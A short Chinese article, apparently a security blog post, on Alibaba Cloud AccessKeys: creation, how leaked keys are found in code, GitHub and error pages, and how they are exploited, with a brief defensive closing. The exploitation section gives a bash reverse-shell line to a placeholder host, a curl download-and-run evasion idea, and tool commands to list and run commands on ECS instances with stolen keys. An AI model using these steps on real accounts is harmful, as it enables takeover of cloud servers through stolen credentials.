accesskey基础
什么是accesskey?
访问密钥AccessKey(AK)相当于登录密码,只是使用场景不同。AccessKey用于程序方式调用云服
务API,而登录密码用于登录控制台。如果您不需要调用API,那么就不需要创建AccessKey。
accessky创建步骤:
使用云账号登录RAM控制台。
在左侧导航栏的人员管理菜单下,单击用户。
在用户登录名称/显示名称列表下,单击目标RAM用户名称。
在用户AccessKey区域下,单击创建AccessKey。
tips:
首次创建时需填写手机验证码。
AccessKey Secret只在创建时显示,不提供查询,请妥善保管。
如果AccessKey泄露或丢失,则需要创建新的AccessKey,最多可以创建2个AccessKey。
accesskey泄露
accesskey泄露主要有两种途径:1.硬编码在代码里 2.第三方存储
获取泄露密钥的方式有很多,和常规的信息收集并无二致。如:
fofa
github
debug或者报错页面
phpinfo
js文件
一种自动化利用方式
github上有accesskey的自动化工具,地址:
https://github.com/mrknow001/aliyun-accesskey-Tools
填入收集到的ID和Secret,获得一个实例ID
在工具中尝试bash反弹shell
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1
在公网vps上开启监听
最简单的利用如上,但实际情况下这样的bash命令往往会被拦截,这里提供一种思路:
采用curl的方式将反弹命令下载到本地运行
另一个工具:
使用方法:
查看所有实例信息:
AliCloud-Tools.exe -a <AccessKey> -s <SecretKey> ecs --list
执行命令:
AliCloud-Tools.exe -a <AccessKey> -s <SecretKey> ecs exec -I <实例ID> -c "执行命令"
供参考
通过云管平台获取权限
步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可
此处以行云管家为例:
到最后一步即可获取系统权限
accesskey泄露防御方案
针对第二节的泄露途径,我们不难想到一劳永逸的办法是不要在代码里写入accesskey
大概的思路可以是:将acesskey保存在配置中心中,不让开发触碰到accesskey,使用sdk,以其它凭据获取需调用的accesskey。
当然在实际场景中,如nodejs业务不支持accesskey的调用,日志入库需要直接使用accesskey等等情况也不一而足,具体的防御方案实现也离不开具体的场景,本文仅做抛砖引玉,希望给同行提供一种思路,欢迎讨论,谢谢。